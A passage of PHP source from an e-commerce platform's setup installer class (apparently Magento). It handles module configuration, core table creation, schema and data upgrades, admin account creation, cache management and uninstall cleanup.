@return DeclarationInstaller * @throws Exception */ private function getDeclarationInstaller() { if (!$this->declarationInstaller) { $this->declarationInstaller = $this->objectManagerProvider->get()->get( DeclarationInstaller::class ); } return $this->declarationInstaller; } /** * Writes installation date to the configuration * * @return void * @SuppressWarnings(PHPMD.UnusedPrivateMethod) Called by install() via callback. * @throws FileSystemException */ private function writeInstallationDate() { $dateData = new ConfigData(ConfigFilePool::APP_ENV); $dateData->set(ConfigOptionsListConstants::CONFIG_PATH_INSTALL_DATE, date('r')); $configData = [$dateData->getFileKey() => $dateData->getData()]; $this->deploymentConfigWriter->saveConfig($configData); } /** * Create modules deployment configuration segment * * @param \ArrayObject|array $request * @param bool $dryRun * @return array * @throws FileSystemException * @throws LocalizedException * @throws RuntimeException */ private function createModulesConfig($request, $dryRun = false) { $all = array_keys($this->moduleLoader->load()); $deploymentConfig = $this->deploymentConfigReader->load(); $currentModules = isset($deploymentConfig[ConfigOptionsListConstants::KEY_MODULES]) ? $deploymentConfig[ConfigOptionsListConstants::KEY_MODULES] : []; $enable = $this->readListOfModules($all, $request, InstallCommand::INPUT_KEY_ENABLE_MODULES); $disable = $this->readListOfModules($all, $request, InstallCommand::INPUT_KEY_DISABLE_MODULES); $result = []; foreach ($all as $module) { if (isset($currentModules[$module]) && !$currentModules[$module]) { $result[$module] = 0; } else { $result[$module] = 1; } if (in_array($module, $disable)) { $result[$module] = 0; } if (in_array($module, $enable)) { $result[$module] = 1; } } if (!$dryRun) { $this->deploymentConfigWriter->saveConfig([ConfigFilePool::APP_CONFIG => ['modules' => $result]], true); } return $result; } /** * Determines list of modules from request based on list of all modules * * @param string[] $all * @param array $request * @param string $key * @return string[] * @throws \LogicException */ private function readListOfModules($all, $request, $key) { $result = []; if (!empty($request[$key])) { if ($request[$key] == 'all') { $result = $all; } else { $result = explode(',', $request[$key]); foreach ($result as $module) { if (!in_array($module, $all)) { throw new \LogicException("Unknown module in the requested list: '{$module}'"); } } } } return $result; } /** * Logs progress * * @return void */ private function logProgress() { if (!$this->progress) { return; } $this->progress->setNext(); $this->log->logMeta( sprintf(self::PROGRESS_LOG_RENDER, $this->progress->getCurrent(), $this->progress->getTotal()) ); } /** * Check permissions of directories that are expected to be writable for installation * * @return void * @throws \Exception */ public function checkInstallationFilePermissions() { $this->throwExceptionForNotWritablePaths( $this->filePermissions->getMissingWritablePathsForInstallation() ); } /** * Check required extensions for installation * * @return void * @throws \Exception */ public function checkExtensions() { $phpExtensionsCheckResult = $this->phpReadinessCheck->checkPhpExtensions(); if ($phpExtensionsCheckResult['responseType'] === ResponseTypeInterface::RESPONSE_TYPE_ERROR && isset($phpExtensionsCheckResult['data']['missing']) ) { $errorMsg = "Missing following extensions: '" . implode("' '", $phpExtensionsCheckResult['data']['missing']) . "'"; // phpcs:ignore Magento2.Exceptions.DirectThrow throw new \Exception($errorMsg); } } /** * Check permissions of directories that are expected to be non-writable for application * * @return void */ public function checkApplicationFilePermissions() { $results = $this->filePermissions->getUnnecessaryWritableDirectoriesForApplication(); if ($results) { $errorMsg = "For security, remove write permissions from these directories: '" . implode("' '", $results) . "'"; $this->log->log($errorMsg); $this->installInfo[self::INFO_MESSAGE][] = $errorMsg; } } /** * Installs deployment configuration * * @param \ArrayObject|array $data * @return void * @throws FileSystemException * @throws LocalizedException * @throws RuntimeException */ public function installDeploymentConfig($data) { $this->checkInstallationFilePermissions(); $this->createModulesConfig($data); $userData = is_array($data) ? $data : $data->getArrayCopy(); $this->setupConfigModel->process($userData); $deploymentConfigData = $this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_CRYPT_KEY); if (isset($deploymentConfigData)) { $this->installInfo[ConfigOptionsListConstants::KEY_ENCRYPTION_KEY] = $deploymentConfigData; } // reset object manager now that there is a deployment config $this->objectManagerProvider->reset(); } /** * Set up setup_module table to register modules' versions, skip this process if it already exists * * @param SchemaSetupInterface $setup * @return void * @throws \Zend_Db_Exception */ private function setupModuleRegistry(SchemaSetupInterface $setup) { $connection = $setup->getConnection(); if (!$connection->isTableExists($setup->getTable('setup_module'))) { /** * Create table 'setup_module' */ $table = $connection->newTable($setup->getTable('setup_module')) ->addColumn( 'module', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 50, ['nullable' => false, 'primary' => true], 'Module' )->addColumn( 'schema_version', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 50, [], 'Schema Version' )->addColumn( 'data_version', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 50, [], 'Data Version' )->setComment('Module versions registry'); $connection->createTable($table); } } /** * Set up core tables * * @param SchemaSetupInterface $setup * @return void */ private function setupCoreTables(SchemaSetupInterface $setup) { /* @var $connection AdapterInterface */ $connection = $setup->getConnection(); $setup->startSetup(); $this->setupSessionTable($setup, $connection); $this->setupCacheTable($setup, $connection); $this->setupCacheTagTable($setup, $connection); $this->setupFlagTable($setup, $connection); $setup->endSetup(); } /** * Create table 'session' * * @param SchemaSetupInterface $setup * @param AdapterInterface $connection * @return void */ private function setupSessionTable( SchemaSetupInterface $setup, AdapterInterface $connection ) { if (!$connection->isTableExists($setup->getTable('session'))) { $table = $connection->newTable( $setup->getTable('session') )->addColumn( 'session_id', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 255, ['nullable' => false, 'primary' => true], 'Session Id' )->addColumn( 'session_expires', \Magento\Framework\DB\Ddl\Table::TYPE_INTEGER, null, ['unsigned' => true, 'nullable' => false, 'default' => '0'], 'Date of Session Expiration' )->addColumn( 'session_data', \Magento\Framework\DB\Ddl\Table::TYPE_BLOB, '2M', ['nullable' => false], 'Session Data' )->setComment( 'Database Sessions Storage' ); $connection->createTable($table); } } /** * Create table 'cache' * * @param SchemaSetupInterface $setup * @param AdapterInterface $connection * @return void * @throws \Zend_Db_Exception */ private function setupCacheTable( SchemaSetupInterface $setup, AdapterInterface $connection ) { if (!$connection->isTableExists($setup->getTable('cache'))) { $table = $connection->newTable( $setup->getTable('cache') )->addColumn( 'id', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 200, ['nullable' => false, 'primary' => true], 'Cache Id' )->addColumn( 'data', \Magento\Framework\DB\Ddl\Table::TYPE_BLOB, '2M', [], 'Cache Data' )->addColumn( 'create_time', \Magento\Framework\DB\Ddl\Table::TYPE_INTEGER, null, [], 'Cache Creation Time' )->addColumn( 'update_time', \Magento\Framework\DB\Ddl\Table::TYPE_INTEGER, null, [], 'Time of Cache Updating' )->addColumn( 'expire_time', \Magento\Framework\DB\Ddl\Table::TYPE_INTEGER, null, [], 'Cache Expiration Time' )->addIndex( $setup->getIdxName('cache', ['expire_time']), ['expire_time'] )->setComment( 'Caches' ); $connection->createTable($table); } } /** * Create table 'cache_tag' * * @param SchemaSetupInterface $setup * @param AdapterInterface $connection * @return void * @throws \Zend_Db_Exception */ private function setupCacheTagTable( SchemaSetupInterface $setup, AdapterInterface $connection ) { if (!$connection->isTableExists($setup->getTable('cache_tag'))) { $table = $connection->newTable( $setup->getTable('cache_tag') )->addColumn( 'tag', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 100, ['nullable' => false, 'primary' => true], 'Tag' )->addColumn( 'cache_id', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 200, ['nullable' => false, 'primary' => true], 'Cache Id' )->addIndex( $setup->getIdxName('cache_tag', ['cache_id']), ['cache_id'] )->setComment( 'Tag Caches' ); $connection->createTable($table); } } /** * Create table 'flag' * * @param SchemaSetupInterface $setup * @param AdapterInterface $connection * @return void * @throws \Zend_Db_Exception */ private function setupFlagTable( SchemaSetupInterface $setup, AdapterInterface $connection ) { $tableName = $setup->getTable('flag'); if (!$connection->isTableExists($tableName)) { $table = $connection->newTable( $tableName )->addColumn( 'flag_id', \Magento\Framework\DB\Ddl\Table::TYPE_INTEGER, null, ['identity' => true, 'unsigned' => true, 'nullable' => false, 'primary' => true], 'Flag Id' )->addColumn( 'flag_code', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, 255, ['nullable' => false], 'Flag Code' )->addColumn( 'state', \Magento\Framework\DB\Ddl\Table::TYPE_SMALLINT, null, ['unsigned' => true, 'nullable' => false, 'default' => '0'], 'Flag State' )->addColumn( 'flag_data', \Magento\Framework\DB\Ddl\Table::TYPE_TEXT, '16m', [], 'Flag Data' )->addColumn( 'last_update', \Magento\Framework\DB\Ddl\Table::TYPE_TIMESTAMP, null, ['nullable' => false, 'default' => \Magento\Framework\DB\Ddl\Table::TIMESTAMP_INIT_UPDATE], 'Date of Last Flag Update' )->addIndex( $setup->getIdxName('flag', ['last_update']), ['last_update'] )->setComment( 'Flag' ); $connection->createTable($table); } else { $this->updateColumnType($connection, $tableName, 'flag_data', 'mediumtext'); } } /** * Install Magento if declaration mode was enabled. * * @param array $request * @return void * @throws Exception */ public function declarativeInstallSchema(array $request) { $this->getDeclarationInstaller()->installSchema($request); } /** * Clear memory tables * * Memory tables that used in old versions of Magento for indexing purposes should be cleaned * Otherwise some supported DB solutions like Galeracluster may have replication error * when memory engine will be switched to InnoDb * * @param SchemaSetupInterface $setup * @return void */ private function cleanMemoryTables(SchemaSetupInterface $setup) { $connection = $setup->getConnection(); $tables = $connection->getTables(); foreach ($tables as $table) { $tableData = $connection->showTableStatus($table); if (isset($tableData['Engine']) && $tableData['Engine'] === 'MEMORY') { $connection->truncateTable($table); } } } /** * Installs DB schema * * @param array $request * @return void * @throws Exception * @throws \Magento\Framework\Setup\Exception * @throws \Zend_Db_Exception */ public function installSchema(array $request) { /** @var \Magento\Framework\Registry $registry */ $registry = $this->objectManagerProvider->get()->get(\Magento\Framework\Registry::class); //For backward compatibility in install and upgrade scripts with enabled parallelization. $registry->register('setup-mode-enabled', true); $this->assertDbConfigExists(); $this->assertDbAccessible(); $setup = $this->setupFactory->create($this->context->getResources()); $this->setupModuleRegistry($setup); $this->setupCoreTables($setup); $this->cleanMemoryTables($setup); $this->log->log('Schema creation/updates:'); $this->declarativeInstallSchema($request); $this->handleDBSchemaData($setup, 'schema', $request); /** @var Mysql $adapter */ $adapter = $setup->getConnection(); $schemaListener = $adapter->getSchemaListener(); if ($this->convertationOfOldScriptsIsAllowed($request)) { $schemaListener->setResource('default'); $this->schemaPersistor->persist($schemaListener); } $registry->unregister('setup-mode-enabled'); } /** * Check whether all scripts will converted or not * * @param array $request * @return bool */ private function convertationOfOldScriptsIsAllowed(array $request) { return isset($request[InstallCommand::CONVERT_OLD_SCRIPTS_KEY]) && $request[InstallCommand::CONVERT_OLD_SCRIPTS_KEY]; } /** * Installs data fixtures * * @param array $request * @param boolean $keepCacheStatuses * @return void * @throws Exception * @throws \Magento\Framework\Setup\Exception */ public function installDataFixtures(array $request = [], $keepCacheStatuses = false) { $frontendCaches = [ PageCache::TYPE_IDENTIFIER, BlockCache::TYPE_IDENTIFIER, LayoutCache::TYPE_IDENTIFIER, ]; if ($keepCacheStatuses) { $disabledCaches = $this->getDisabledCacheTypes($frontendCaches); $frontendCaches = array_diff($frontendCaches, $disabledCaches); } /** @var \Magento\Framework\Registry $registry */ $registry = $this->objectManagerProvider->get()->get(\Magento\Framework\Registry::class); //For backward compatibility in install and upgrade scripts with enabled parallelization. $registry->register('setup-mode-enabled', true); $this->assertDbConfigExists(); $this->assertDbAccessible(); $setup = $this->dataSetupFactory->create(); $this->checkFilePermissionsForDbUpgrade(); $this->log->log('Data install/update:'); if ($frontendCaches) { $this->log->log('Disabling caches:'); $this->updateCaches(false, $frontendCaches); } try { $this->handleDBSchemaData($setup, 'data', $request); } finally { if ($frontendCaches) { $this->log->log('Enabling caches:'); $this->updateCaches(true, $frontendCaches); } } $registry->unregister('setup-mode-enabled'); } /** * Check permissions of directories that are expected to be writable for database upgrade * * @return void * @throws \Exception If some of the required directories isn't writable */ public function checkFilePermissionsForDbUpgrade() { $this->throwExceptionForNotWritablePaths( $this->filePermissions->getMissingWritableDirectoriesForDbUpgrade() ); } /** * Throws exception with appropriate message if given not empty array of paths that requires writing permission * * @param array $paths List of not writable paths * @return void * @throws \Exception If given not empty array of not writable paths */ private function throwExceptionForNotWritablePaths(array $paths) { if ($paths) { $errorMsg = "Missing write permissions to the following paths:" . PHP_EOL . implode(PHP_EOL, $paths); // phpcs:ignore Magento2.Exceptions.DirectThrow throw new \Exception($errorMsg); } } /** * Handle database schema and data (install/upgrade/backup/uninstall etc) * * @param SchemaSetupInterface|ModuleDataSetupInterface $setup * @param string $type * @param array $request * @return void * @throws \Magento\Framework\Setup\Exception * @throws Exception * @SuppressWarnings(PHPMD.CyclomaticComplexity) * @SuppressWarnings(PHPMD.NPathComplexity) * @SuppressWarnings(PHPMD.ExcessiveMethodLength) */ private function handleDBSchemaData($setup, $type, array $request) { if ($type !== 'schema' && $type !== 'data') { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception("Unsupported operation type $type is requested"); } $resource = new \Magento\Framework\Module\ModuleResource($this->context); $verType = $type . '-version'; $installType = $type . '-install'; $upgradeType = $type . '-upgrade'; $moduleNames = $this->moduleList->getNames(); $moduleContextList = $this->generateListOfModuleContext($resource, $verType); /** @var Mysql $adapter */ $adapter = $setup->getConnection(); $schemaListener = $adapter->getSchemaListener(); $this->patchApplierFactory = $this->objectManagerProvider->get()->create( PatchApplierFactory::class, [ 'objectManager' => $this->objectManagerProvider->get() ] ); $patchApplierParams = $type === 'schema' ? ['schemaSetup' => $setup] : ['moduleDataSetup' => $setup, 'objectManager' => $this->objectManagerProvider->get()]; /** @var PatchApplier $patchApplier */ $patchApplier = $this->patchApplierFactory->create($patchApplierParams); foreach ($moduleNames as $moduleName) { if ($this->isDryRun($request)) { $this->log->log("Module '{$moduleName}':"); $this->logProgress(); continue; } $schemaListener->setModuleName($moduleName); $this->log->log("Module '{$moduleName}':"); $configVer = $this->moduleList->getOne($moduleName)['setup_version']; $currentVersion = $moduleContextList[$moduleName]->getVersion(); // Schema/Data is installed if ($currentVersion !== '') { $status = version_compare($configVer, $currentVersion); if ($status == \Magento\Framework\Setup\ModuleDataSetupInterface::VERSION_COMPARE_GREATER) { $upgrader = $this->getSchemaDataHandler($moduleName, $upgradeType); if ($upgrader) { $this->log->logInline("Upgrading $type.. "); $upgrader->upgrade($setup, $moduleContextList[$moduleName]); if ($type === 'schema') { $resource->setDbVersion($moduleName, $configVer); } elseif ($type === 'data') { $resource->setDataVersion($moduleName, $configVer); } } } } elseif ($configVer) { $installer = $this->getSchemaDataHandler($moduleName, $installType); if ($installer) { $this->log->logInline("Installing $type... "); $installer->install($setup, $moduleContextList[$moduleName]); } $upgrader = $this->getSchemaDataHandler($moduleName, $upgradeType); if ($upgrader) { $this->log->logInline("Upgrading $type... "); $upgrader->upgrade($setup, $moduleContextList[$moduleName]); } } if ($configVer) { if ($type === 'schema') { $resource->setDbVersion($moduleName, $configVer); } elseif ($type === 'data') { $resource->setDataVersion($moduleName, $configVer); } } /** * Applying data patches after old upgrade data scripts */ if ($type === 'schema') { $patchApplier->applySchemaPatch($moduleName); } elseif ($type === 'data') { $patchApplier->applyDataPatch($moduleName); } $this->logProgress(); } if ($type === 'schema') { $this->log->log('Schema post-updates:'); } elseif ($type === 'data') { $this->log->log('Data post-updates:'); } $handlerType = $type === 'schema' ? 'schema-recurring' : 'data-recurring'; foreach ($moduleNames as $moduleName) { if ($this->isDryRun($request)) { $this->log->log("Module '{$moduleName}':"); $this->logProgress(); continue; } $this->log->log("Module '{$moduleName}':"); $modulePostUpdater = $this->getSchemaDataHandler($moduleName, $handlerType); if ($modulePostUpdater) { $this->log->logInline('Running ' . str_replace('-', ' ', $handlerType) . '...'); $modulePostUpdater->install($setup, $moduleContextList[$moduleName]); } $this->logProgress(); } } /** * Assert DbConfigExists * * @return void * @throws Exception * @throws FileSystemException * @throws RuntimeException */ private function assertDbConfigExists() { $config = $this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT); if (!$config) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception( "Can't run this operation: configuration for DB connection is absent." ); } } /** * Check whether Magento setup is run in dry-run mode * * @param array $request * @return bool */ private function isDryRun(array $request) { return isset($request[DryRunLogger::INPUT_KEY_DRY_RUN_MODE]) && $request[DryRunLogger::INPUT_KEY_DRY_RUN_MODE]; } /** * Installs user configuration * * @param \ArrayObject|array $data * @return void * @throws Exception * @throws LocalizedException */ public function installUserConfig($data) { if ($this->isDryRun($data)) { return; } $userConfig = new StoreConfigurationDataMapper(); /** @var \Magento\Framework\App\State $appState */ $appState = $this->objectManagerProvider->get()->get(\Magento\Framework\App\State::class); $appState->setAreaCode(\Magento\Framework\App\Area::AREA_GLOBAL); $configData = $userConfig->getConfigData($data); if (count($configData) === 0) { return; } /** @var \Magento\Config\Model\Config\Factory $configFactory */ $configFactory = $this->objectManagerProvider->get()->create(\Magento\Config\Model\Config\Factory::class); foreach ($configData as $key => $val) { $configModel = $configFactory->create(); $configModel->setDataByPath($key, $val); $configModel->save(); } } /** * Configure search engine on install * * @param \ArrayObject|array $data * @return void * @throws ValidationException * @throws Exception */ public function installSearchConfiguration($data) { /** @var SearchConfig $searchConfig */ $searchConfig = $this->objectManagerProvider->get()->get(SearchConfig::class); $searchConfig->saveConfiguration($data); } /** * Create data handler * * @param string $className * @param string $interfaceName * @return mixed|null * @throws Exception */ protected function createSchemaDataHandler($className, $interfaceName) { if (class_exists($className)) { if (!is_subclass_of($className, $interfaceName) && $className !== $interfaceName) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception($className . ' must implement \\' . $interfaceName); } else { return $this->objectManagerProvider->get()->create($className); } } return null; } /** * Create store order increment prefix configuration * * @param string $orderIncrementPrefix Value to use for order increment prefix * @return void * * @SuppressWarnings(PHPMD.UnusedPrivateMethod) Called by install() via callback. */ private function installOrderIncrementPrefix($orderIncrementPrefix) { $setup = $this->setupFactory->create($this->context->getResources()); $dbConnection = $setup->getConnection(); // get entity_type_id for order $select = $dbConnection->select() ->from($setup->getTable('eav_entity_type'), 'entity_type_id') ->where('entity_type_code = \'order\''); $entityTypeId = $dbConnection->fetchOne($select); // See if row already exists $incrementRow = $dbConnection->fetchRow( 'SELECT * FROM ' . $setup->getTable('eav_entity_store') . ' WHERE entity_type_id = ? AND store_id = ?', [$entityTypeId, Store::DISTRO_STORE_ID] ); if (!empty($incrementRow)) { // row exists, update it $entityStoreId = $incrementRow['entity_store_id']; $dbConnection->update( $setup->getTable('eav_entity_store'), ['increment_prefix' => $orderIncrementPrefix], ['entity_store_id' => $entityStoreId] ); } else { // add a row to the store's eav table, setting the increment_prefix $rowData = [ 'entity_type_id' => $entityTypeId, 'store_id' => Store::DISTRO_STORE_ID, 'increment_prefix' => $orderIncrementPrefix, ]; $dbConnection->insert($setup->getTable('eav_entity_store'), $rowData); } } /** * Create admin account * * @param \ArrayObject|array $data * @return void * @throws Exception * @throws FileSystemException * @throws RuntimeException */ public function installAdminUser($data) { if ($this->isDryRun($data)) { return; } $adminUserModuleIsInstalled = (bool)$this->deploymentConfig->get('modules/Magento_User'); //Admin user data is not system data, so we need to install it only if schema for admin user was installed if ($adminUserModuleIsInstalled) { $this->assertDbConfigExists(); $data += ['db-prefix' => $this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_DB_PREFIX)]; $setup = $this->setupFactory->create($this->context->getResources()); $adminAccount = $this->adminAccountFactory->create($setup->getConnection(), (array)$data); $adminAccount->save(); } } /** * Updates modules in deployment configuration * * @param bool $keepGeneratedFiles Cleanup generated classes and view files and reset ObjectManager * @return void * @throws Exception */ public function updateModulesSequence($keepGeneratedFiles = false) { $config = $this->deploymentConfig->get(ConfigOptionsListConstants::KEY_MODULES); if (!$config) { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception( "Can't run this operation: deployment configuration is absent." . " Run 'magento setup:config:set --help' for options." ); } $this->flushCaches([ConfigCache::TYPE_IDENTIFIER]); $this->cleanCaches(); if (!$keepGeneratedFiles) { $this->cleanupGeneratedFiles(); } $this->log->log('Updating modules:'); $this->createModulesConfig([]); } /** * Get the modules config as Magento sees it * * @return array * @throws \LogicException */ public function getModulesConfig() { return $this->createModulesConfig([], true); } /** * Uninstall Magento application * * @return void */ public function uninstall() { $this->log->log('Starting Magento uninstallation:'); try { $this->cleanCaches(); } catch (\Exception $e) { $this->log->log( 'Can\'t clear cache due to the following error: ' . $e->getMessage() . PHP_EOL . 'To fully clean up your uninstallation, you must manually clear your cache.' ); } $this->cleanupDb(); $this->log->log('File system cleanup:'); $messages = $this->cleanupFiles->clearAllFiles(); foreach ($messages as $message) { $this->log->log($message); } $this->deleteDeploymentConfig(); $this->log->logSuccess('Magento uninstallation complete.'); } /** * Enable or disable caches for specific types that are available * * If no types are specified then it will enable or disable all available types * Note this is called by install() via callback. * * @param bool $isEnabled * @param array $types * @return void * @throws Exception */ private function updateCaches($isEnabled, $types = []) { /** @var Manager $cacheManager */ $cacheManager = $this->objectManagerProvider->get()->create(Manager::class); $availableTypes = $cacheManager->getAvailableTypes(); $types = empty($types) ? $availableTypes : array_intersect($availableTypes, $types); $enabledTypes = $cacheManager->setEnabled($types, $isEnabled); if ($isEnabled) { $cacheManager->clean($enabledTypes); } // Only get statuses of specific cache types $cacheStatus = array_filter( $cacheManager->getStatus(), function (string $key) use ($types) { return in_array($key, $types); }, ARRAY_FILTER_USE_KEY ); $this->log->log('Current status:'); foreach ($cacheStatus as $cache => $status) { $this->log->log(sprintf('%s: %d', $cache, $status)); } } /** * Clean caches after installing application * * @return void * * @SuppressWarnings(PHPMD.UnusedPrivateMethod) Called by install() via callback. * @throws Exception */ private function cleanCaches() { /** @var Manager $cacheManager */ $cacheManager = $this->objectManagerProvider->get()->get(Manager::class); $types = $cacheManager->getAvailableTypes(); $cacheManager->clean($types); $this->log->log('Cache cleared successfully'); } /** * Flush caches for specific types or all available types * * @param array $types * @return void * * @throws Exception */ private function flushCaches($types = []) { /** @var Manager $cacheManager */ $cacheManager = $this->objectManagerProvider->get()->get(Manager::class); $types = empty($types) ? $cacheManager->getAvailableTypes() : $types; $cacheManager->flush($types); $this->log->log('Cache types ' . implode(',', $types) . ' flushed successfully'); } /** * Enables or disables maintenance mode for Magento application * * @param int $value * @return void * * @SuppressWarnings(PHPMD.UnusedPrivateMethod) Called by install() via callback. */ private function setMaintenanceMode($value) { $this->maintenanceMode->set($value); } /** * Return messages * * @return array */ public function getInstallInfo() { return $this->installInfo; } /** * Deletes the database and creates it again * * @return void */ public function cleanupDb() { $cleanedUpDatabases = []; $connections = $this->deploymentConfig->get(ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTIONS, []); //Do database cleanup for all shards foreach ($connections as $config) { try { $connection = $this->connectionFactory->create($config); if (!$connection) { $this->log->log("Can't create connection to database - skipping database cleanup"); } } catch (\Exception $e) { $this->log->log($e->getMessage() . ' - skipping database cleanup'); return; } $dbName = $connection->quoteIdentifier($config[ConfigOptionsListConstants::KEY_NAME]); //If for different shards one database was specified - no need to clean it few times if (!in_array($dbName, $cleanedUpDatabases)) { $this->log->log("Cleaning up database {$dbName}"); // phpcs:ignore Magento2.SQL.RawQuery $connection->query("DROP DATABASE IF EXISTS {$dbName}"); // phpcs:ignore Magento2.SQL.RawQuery $connection->query("CREATE DATABASE IF NOT EXISTS {$dbName}"); $cleanedUpDatabases[] = $dbName; } } if (empty($config)) { $this->log->log('No database connection defined - skipping database cleanup'); } } /** * Removes deployment configuration * * @return void * @throws FileSystemException */ private function deleteDeploymentConfig() { $configDir = $this->filesystem->getDirectoryWrite(DirectoryList::CONFIG); $configFiles = $this->deploymentConfigReader->getFiles(); foreach ($configFiles as $configFile) { $absolutePath = $configDir->getAbsolutePath($configFile); if (!$configDir->isFile($configFile)) { $this->log->log("The file '{$absolutePath}' doesn't exist - skipping cleanup"); continue; } try { $this->log->log($absolutePath); $configDir->delete($configFile); } catch (FileSystemException $e) { $this->log->log($e->getMessage()); } } } /** * Validates that MySQL is accessible and MySQL version is supported * * @return void * @throws Exception * @throws FileSystemException * @throws RuntimeException */ private function assertDbAccessible() { $driverOptionKeys = [ ConfigOptionsListConstants::KEY_MYSQL_SSL_KEY => ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_KEY, ConfigOptionsListConstants::KEY_MYSQL_SSL_CERT => ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_CERT, ConfigOptionsListConstants::KEY_MYSQL_SSL_CA => ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_CA, ConfigOptionsListConstants::KEY_MYSQL_SSL_VERIFY => ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT_DRIVER_OPTIONS . '/' . ConfigOptionsListConstants::KEY_MYSQL_SSL_VERIFY ]; $driverOptions = []; foreach ($driverOptionKeys as $driverOptionKey => $driverOptionConfig) { $config = $this->deploymentConfig->get($driverOptionConfig); if ($config !== null) { $driverOptions[$driverOptionKey] = $config; } } $this->dbValidator->checkDatabaseConnectionWithDriverOptions( $this->deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_NAME ), $this->deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_HOST ), $this->deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_USER ), $this->deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_PASSWORD ), $driverOptions ); $prefix = $this->deploymentConfig->get( ConfigOptionsListConstants::CONFIG_PATH_DB_CONNECTION_DEFAULT . '/' . ConfigOptionsListConstants::KEY_PREFIX ); if (null !== $prefix) { $this->dbValidator->checkDatabaseTablePrefix($prefix); } } /** * Get handler for schema or data install/upgrade/backup/uninstall etc. * * @param string $moduleName * @param string $type * @return InstallSchemaInterface | UpgradeSchemaInterface | InstallDataInterface | UpgradeDataInterface | null * @throws Exception */ private function getSchemaDataHandler($moduleName, $type) { $className = str_replace('_', '\\', $moduleName) . '\Setup'; switch ($type) { case 'schema-install': $className .= '\InstallSchema'; $interface = self::SCHEMA_INSTALL; break; case 'schema-upgrade': $className .= '\UpgradeSchema'; $interface = self::SCHEMA_UPGRADE; break; case 'schema-recurring': $className .= '\Recurring'; $interface = self::SCHEMA_INSTALL; break; case 'data-install': $className .= '\InstallData'; $interface = self::DATA_INSTALL; break; case 'data-upgrade': $className .= '\UpgradeData'; $interface = self::DATA_UPGRADE; break; case 'data-recurring': $className .= '\RecurringData'; $interface = self::DATA_INSTALL; break; default: // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception("$className does not exist"); } return $this->createSchemaDataHandler($className, $interface); } /** * Generates list of ModuleContext * * @param \Magento\Framework\Module\ModuleResource $resource * @param string $type * @return ModuleContext[] * @throws Exception */ private function generateListOfModuleContext($resource, $type) { $moduleContextList = []; foreach ($this->moduleList->getNames() as $moduleName) { if ($type === 'schema-version') { $dbVer = $resource->getDbVersion($moduleName); } elseif ($type === 'data-version') { $dbVer = $resource->getDataVersion($moduleName); } else { // phpcs:ignore Magento2.Exceptions.DirectThrow throw new Exception("Unsupported version type $type is requested"); } if ($dbVer !== false) { $moduleContextList[$moduleName] = new ModuleContext($dbVer); } else { $moduleContextList[$moduleName] = new ModuleContext(''); } } return $moduleContextList; } /** * Clear generated/code and reset object manager * * @return void */ private function cleanupGeneratedFiles() { $this->log->log('File system cleanup:'); $messages = $this->cleanupFiles->clearCodeGeneratedFiles(); // unload Magento autoloader because it may be using compiled definition foreach (spl_autoload_functions() as $autoloader) { if (is_array($autoloader) && $autoloader[0] instanceof \Magento\Framework\Code\Generator\Autoloader) { spl_autoload_unregister([$autoloader[0], $autoloader[1]]); break; } } // Corrected Magento autoloader will be loaded upon next get() call on $this->objectManagerProvider $this->objectManagerProvider->reset(); foreach ($messages as $message) { $this->log->log($message); } } /** * Checks that admin data is not empty in request array * * @param \ArrayObject|array $request * @return bool */ private function isAdminDataSet($request) { $adminData = array_filter( $request, function ($value, $key) { return in_array( $key, [ AdminAccount::KEY_EMAIL, AdminAccount::KEY_FIRST_NAME, AdminAccount::KEY_LAST_NAME, AdminAccount::KEY_USER, AdminAccount::KEY_PASSWORD, ] ) && $value !== null; }, ARRAY_FILTER_USE_BOTH ); return !empty($adminData); } /** * Update flag_data column data type to maintain consistency. * * @param AdapterInterface $connection * @param string $tableName * @param string $columnName * @param string $typeName */ private function updateColumnType( AdapterInterface $connection, string $tableName, string $columnName, string $typeName ): void { $tableDescription = $connection->describeTable($tableName); if ($tableDescription[$columnName]['DATA_TYPE'] !== $typeName) { $connection->modifyColumn( $tableName, $columnName, $typeName ); } } /** * Remove unused triggers from db * * @throws \Exception */ public function removeUnusedTriggers(): void { $this->triggerCleaner->removeTriggers(); $this->cleanCaches(); } /** * Returns list of disabled cache types * * @param array $cacheTypesToCheck * @return array */ private function getDisabledCacheTypes(array $cacheTypesToCheck): array { $disabledCaches = []; /** @var CacheManager $cacheManager */ $cacheManager = $this->objectManagerProvider->get()->create(CacheManager::class); $cacheStatus = $cacheManager->getStatus(); foreach ($cacheTypesToCheck as $cacheType) { if (isset($cacheStatus[$cacheType]) && $cacheStatus[$cacheType] === 0) { $disabledCaches[] = $cacheType; } } return $disabledCaches; } } 